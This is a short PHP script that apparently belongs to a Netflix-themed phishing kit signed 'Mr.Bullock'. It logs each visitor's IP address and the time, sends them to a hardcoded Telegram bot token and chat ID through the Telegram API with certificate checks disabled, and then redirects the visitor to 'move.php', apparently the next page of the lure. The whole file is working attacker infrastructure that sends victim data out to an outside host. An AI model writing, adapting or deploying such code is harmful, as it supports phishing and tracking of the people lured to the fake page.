<?php
// Telegram Bot Token and Chat ID
$botToken = "7690606903:AAEkGtLnR8YFKcUTX7HpZAcWGZWwAItS_6w";
$chatId = "-1002484967243";
// MR.BULLOCK
$ip = getenv("REMOTE_ADDR");
// MR.BULLOCK
$messageText = $ip . " Netflix Visitor By Mr.Bullock " . gmdate("Y-n-d") . " / " . gmdate("H:i:s");
// MR.BULLOCK
sendMessage($botToken, $chatId, $messageText);
// Redirect directly to move.php without country restriction
header("Location: move.php");
exit();
// MR.BULLOCK
function sendMessage($botToken, $chatId, $text) {
// Prepare URL for sending message via Telegram API
$url = 'https://api.telegram.org/bot' . urlencode($botToken)
. '/sendMessage?'
. 'parse_mode=HTML&disable_web_page_preview=true&'
. 'chat_id=' . urlencode($chatId)
. '&text=' . urlencode($text);
$ch = curl_init();
curl_setopt_array(
$ch,
array(
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_TIMEOUT_MS => 5000
)
);
curl_exec($ch);
curl_close($ch);
}
?>